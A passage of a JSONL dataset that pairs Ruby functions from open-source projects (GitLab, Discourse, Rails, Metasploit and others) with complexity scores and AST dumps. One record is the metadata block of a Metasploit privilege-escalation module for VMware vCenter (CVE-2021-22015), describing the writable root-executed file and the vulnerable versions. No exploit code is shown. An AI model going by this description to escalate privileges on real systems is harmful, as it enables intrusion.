workspaces\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"et\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"enabled\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"launch\"]},{\"type\":\"str\",\"children\":[\"ONETIME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"text_targets\"]},{\"type\":\"lvar\",\"children\":[\"targets\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"description\"]},{\"type\":\"lvar\",\"children\":[\"desc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"launch_now\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"scan\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@n\"]},\"scan_create\",{\"type\":\"lvar\",\"children\":[\"policy_id\"]},{\"type\":\"lvar\",\"children\":[\"et\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scan\"]},\"[]\",{\"type\":\"str\",\"children\":[\"error\"]}]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scan\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scan\"]},\"[]\",{\"type\":\"str\",\"children\":[\"scan\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Scan ID \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scan\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"str\",\"children\":[\" successfully created and launched\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"pretty_generate\",{\"type\":\"lvar\",\"children\":[\"scan\"]}]}]}]}]}]}","id":"7b53ce26-ee31-4759-8725-ee170518fde1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/spec/support/lib/module_validation.rb","start_line":151,"raw_source":"def validate_target_platforms\n      if platform.blank? && type == 'exploit'\n        targets.each do |target|\n          if target.platform.blank?\n            errors.add :platform, 'must be included either within targets or platform module metadata'\n          end\n        end\n      end\n    end","complexity_score":16.9,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_target_platforms\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"platform\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"exploit\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"platform\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"platform\"]},{\"type\":\"str\",\"children\":[\"must be included either within targets or platform module metadata\"]}]},null]}]},null]}]}","id":"c586a57b-a85d-4399-ad63-be16bf1bd56d"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/search.rb","start_line":86,"raw_source":"def has_search_icon?\n        page.has_selector?(SEARCH_ICON_SELECTOR, visible: true)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_search_icon?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_selector?\",{\"type\":\"const\",\"children\":[null,\"SEARCH_ICON_SELECTOR\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visible\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"c916b017-07a0-45b1-bf54-d68ba84425e7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/login_scanner/wordpress_rpc.rb","start_line":66,"raw_source":"def set_sane_defaults\n          @method = \"POST\".freeze\n          super\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_sane_defaults\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@method\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"POST\"]},\"freeze\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"a52d463a-b742-475e-b0e9-b376b8bdc08f"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/base_processor.rb","start_line":106,"raw_source":"def process_block exp\n    exp = exp.dup\n    exp.shift\n\n    exp.map! do |e|\n      process e\n    end\n\n    exp.unshift :rlist\n  end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"process_block\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exp\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"shift\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"unshift\",{\"type\":\"sym\",\"children\":[\"rlist\"]}]}]}]}","id":"1df82a1d-d7b6-4036-ac69-f44495ccc442"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/mcp/tools/response.rb","start_line":42,"raw_source":"def self.format_structured_content(data)\n        case data\n        when Hash\n          data\n        when Array\n          {\n            items: data,\n            metadata: {\n              count: data.length,\n              has_more: false\n            }\n          }\n        else\n          {}\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"format_structured_content\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"items\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"metadata\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"has_more\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[]}]}]}","id":"105962f8-b41d-4362-bd00-475b9a156860"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/vcenter_java_wrapper_vmon_priv_esc.rb","start_line":15,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'VMware vCenter vScalation Priv Esc',\n        'Description' => %q{\n          This module exploits a privilege escalation in vSphere/vCenter due to improper permissions on the\n          /usr/lib/vmware-vmon/java-wrapper-vmon file. It is possible for anyone in the\n          cis group to write to the file, which will execute as root on vmware-vmon service\n          restart or host reboot.\n\n          This module was successfully tested against VMware VirtualCenter 6.5.0 build-7070488.\n          The following versions should be vulnerable:\n          vCenter 7.0 before U2c\n          vCenter 6.7 before U3o\n          vCenter 6.5 before U3q\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'h00die', # msf module\n          'Yuval Lazar' # original PoC, analysis\n        ],\n        'Platform' => [ 'linux' ],\n        'Arch' => [ ARCH_X86, ARCH_X64 ],\n        'SessionTypes' => [ 'shell', 'meterpreter' ],\n        'Targets' => [[ 'Auto', {} ]],\n        'Privileged' => true,\n        'References' => [\n          [ 'URL', 'https://pentera.io/blog/vscalation-cve-2021-22015-local-privilege-escalation-in-vmware-vcenter-pentera-labs/' ],\n          [ 'CVE', '2021-22015' ],\n          [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0020.html' ]\n        ],\n        'DisclosureDate' => '2021-09-21',\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'WfsDelay' => 1800 # 30min\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SERVICE_DOWN],\n          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],\n          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS],\n          'AKA' => ['vScalation']\n        }\n      )\n    )\n    register_advanced_options [\n      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])\n    ]\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"VMware vCenter vScalation Priv Esc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a privilege escalation in vSphere/vCenter due to improper permissions on the\\n\"]},{\"type\":\"str\",\"children\":[\"          /usr/lib/vmware-vmon/java-wrapper-vmon file. It is possible for anyone in the\\n\"]},{\"type\":\"str\",\"children\":[\"          cis group to write to the file, which will execute as root on vmware-vmon service\\n\"]},{\"type\":\"str\",\"children\":[\"          restart or host reboot.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module was successfully tested against VMware VirtualCenter 6.5.0 build-7070488.\\n\"]},{\"type\":\"str\",\"children\":[\"          The following versions should be vulnerable:\\n\"]},{\"type\":\"str\",\"children\":[\"          vCenter 7.0 before U2c\\n\"]},{\"type\":\"str\",\"children\":[\"          vCenter 6.7 before U3o\\n\"]},{\"type\":\"str\",\"children\":[\"          vCenter 6.5 before U3q\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"h00die\"]},{\"type\":\"str\",\"children\":[\"Yuval Lazar\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"shell\"]},{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Auto\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://pentera.io/blog/vscalation-cve-2021-22015-local-privilege-escalation-in-vmware-vcenter-pentera-labs/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2021-22015\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.vmware.com/security/advisories/VMSA-2021-0020.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2021-09-21\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WfsDelay\"]},{\"type\":\"int\",\"children\":[1800]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]},{\"type\":\"const\",\"children\":[null,\"EVENT_DEPENDENT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]},{\"type\":\"const\",\"children\":[null,\"CONFIG_CHANGES\"]},{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AKA\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"vScalation\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"WritableDir\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"A directory where we can write files\"]},{\"type\":\"str\",\"children\":[\"/tmp\"]}]}]}]}]}]}]}","id":"a0de56e1-c9fe-44ca-b084-f2dc1a16b88f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/process_memory_cache/helper.rb","start_line":26,"raw_source":"def stale_cache?(key, cache_info)\n        shared_timestamp = shared_backend.read(key)\n        return true unless shared_timestamp\n\n        shared_timestamp.to_f > cache_info[:cached_at].to_f\n      end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"stale_cache?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"cache_info\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"shared_timestamp\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shared_backend\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shared_timestamp\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shared_timestamp\"]},\"to_f\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cache_info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cached_at\"]}]},\"to_f\"]}]}]}]}","id":"174435d2-c3df-44c1-8312-a60f2f696618"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/services/voice/inbound_call_builder.rb","start_line":6,"raw_source":"def perform\n    contact = find_or_create_contact!\n    contact_inbox = find_or_create_contact_inbox!(contact)\n    @conversation = find_or_create_conversation!(contact, contact_inbox)\n    create_call_message_if_needed!\n    self\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"contact\",{\"type\":\"send\",\"children\":[null,\"find_or_create_contact!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"contact_inbox\",{\"type\":\"send\",\"children\":[null,\"find_or_create_contact_inbox!\",{\"type\":\"lvar\",\"children\":[\"contact\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@conversation\",{\"type\":\"send\",\"children\":[null,\"find_or_create_conversation!\",{\"type\":\"lvar\",\"children\":[\"contact\"]},{\"type\":\"lvar\",\"children\":[\"contact_inbox\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_call_message_if_needed!\"]},{\"type\":\"self\",\"children\":[]}]}]}","id":"33a76fb2-11c6-4896-a4df-e2516e543538"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_minissl.rb","start_line":87,"raw_source":"def test_raises_with_invalid_key_password_command\n      ctx = Puma::MiniSSL::Context.new\n      ctx.key_password_command = '/unreadable/decrypt_command'\n\n      assert_raises(Errno::ENOENT) { ctx.key_password }\n    end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_raises_with_invalid_key_password_command\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ctx\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"MiniSSL\"]},\"Context\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ctx\"]},\"key_password_command=\",{\"type\":\"str\",\"children\":[\"/unreadable/decrypt_command\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ENOENT\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ctx\"]},\"key_password\"]}]}]}]}","id":"818d22c6-adcf-4c6f-84b6-c76db17986d3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/kubernetes_helpers.rb","start_line":104,"raw_source":"def stub_kubeclient_nodes_and_nodes_metrics(api_url)\n    stub_kubeclient_nodes(api_url)\n\n    nodes_url = api_url + \"/apis/metrics.k8s.io/v1beta1/nodes\"\n\n    WebMock.stub_request(:get, nodes_url).to_return(nodes_metrics_response)\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_kubeclient_nodes_and_nodes_metrics\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"api_url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_kubeclient_nodes\",{\"type\":\"lvar\",\"children\":[\"api_url\"]}]},{\"type\":\"lvasgn\",\"children\":[\"nodes_url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_url\"]},\"+\",{\"type\":\"str\",\"children\":[\"/apis/metrics.k8s.io/v1beta1/nodes\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebMock\"]},\"stub_request\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"lvar\",\"children\":[\"nodes_url\"]}]},\"to_return\",{\"type\":\"send\",\"children\":[null,\"nodes_metrics_response\"]}]}]}]}","id":"d90f8e44-20f5-4746-9331-a307acc569dc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/notes/update_service.rb","start_line":105,"raw_source":"def update_todos(note, old_mentioned_users)\n      return unless note.previous_changes.include?('note')\n\n      TodoService.new.update_note(note, current_user, old_mentioned_users)\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_todos\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"note\"]},{\"type\":\"arg\",\"children\":[\"old_mentioned_users\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"previous_changes\"]},\"include?\",{\"type\":\"str\",\"children\":[\"note\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TodoService\"]},\"new\"]},\"update_note\",{\"type\":\"lvar\",\"children\":[\"note\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"old_mentioned_users\"]}]}]}]}","id":"29ac00a6-c809-42e8-8b63-b1314bef9268"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/slice.rb","start_line":596,"raw_source":"def key?(...)\n        container.key?(...)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"key?\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container\"]},\"key?\",{\"type\":\"forwarded_args\",\"children\":[]}]}]}","id":"4cb651cd-93f9-45d4-ab41-64fe309c49cd"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/formatter/junit_formatter.rb","start_line":77,"raw_source":"def relevant_for_output?(options, target_offenses)\n        !options[:display_only_failed] || target_offenses.any?\n      end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"relevant_for_output?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]},{\"type\":\"arg\",\"children\":[\"target_offenses\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"display_only_failed\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_offenses\"]},\"any?\"]}]}]}","id":"226ad74b-af4c-4e35-a447-2c7d3bfce172"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/config/initializers/rack_attack.rb","start_line":7,"raw_source":"def authenticated_token\n      return @authenticated_token if defined?(@authenticated_token)\n\n      @authenticated_token = Doorkeeper::OAuth::Token.authenticate(\n        Doorkeeper::Grape::AuthorizationDecorator.new(self),\n        *Doorkeeper.configuration.access_token_methods\n      )\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"authenticated_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@authenticated_token\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@authenticated_token\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@authenticated_token\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Doorkeeper\"]},\"OAuth\"]},\"Token\"]},\"authenticate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Doorkeeper\"]},\"Grape\"]},\"AuthorizationDecorator\"]},\"new\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Doorkeeper\"]},\"configuration\"]},\"access_token_methods\"]}]}]}]}]}]}","id":"a9df7abb-8d44-422a-868d-28101b144770"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/journey/visitors.rb","start_line":74,"raw_source":"def nary(node)\n            node.children.each { |c| visit(c) }\n          end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"nary\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"lvar\",\"children\":[\"c\"]}]}]}]}","id":"78819e8f-72ea-47af-a65c-4d0660d804f0"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/post_revision_serializer.rb","start_line":97,"raw_source":"def display_username\n    user.username\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"display_username\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"username\"]}]}","id":"a7776ba3-a976-462e-b629-63997b6c5990"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/graphql/resolvers/issue_status_counts_resolver_spec.rb","start_line":82,"raw_source":"def resolve_issue_status_counts(args = {}, context = { current_user: current_user })\n      resolve(described_class, obj: parent, args: args, ctx: context)\n    end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_issue_status_counts\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"context\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"resolve\",{\"type\":\"send\",\"children\":[null,\"described_class\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"obj\"]},{\"type\":\"send\",\"children\":[null,\"parent\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ctx\"]},{\"type\":\"lvar\",\"children\":[\"context\"]}]}]}]}]}","id":"ded797cf-4f96-481b-8833-49b7e47319a4"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/journals/create_service.rb","start_line":438,"raw_source":"def select_changed_sql\n      sql = <<~SQL\n        SELECT\n           *\n        FROM\n          (#{changes_data_sql}) data_changes\n      SQL\n\n      associations.each do |association|\n        sql += <<~SQL\n          FULL JOIN\n            (#{association.changes_sql}) #{association.name}_changes\n          ON\n            #{association.name}_changes.journable_id = data_changes.journable_id\n        SQL\n      end\n\n      sql\n    end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"select_changed_sql\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT\\n\"]},{\"type\":\"str\",\"children\":[\"   *\\n\"]},{\"type\":\"str\",\"children\":[\"FROM\\n\"]},{\"type\":\"str\",\"children\":[\"  (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"changes_data_sql\"]}]},{\"type\":\"str\",\"children\":[\") 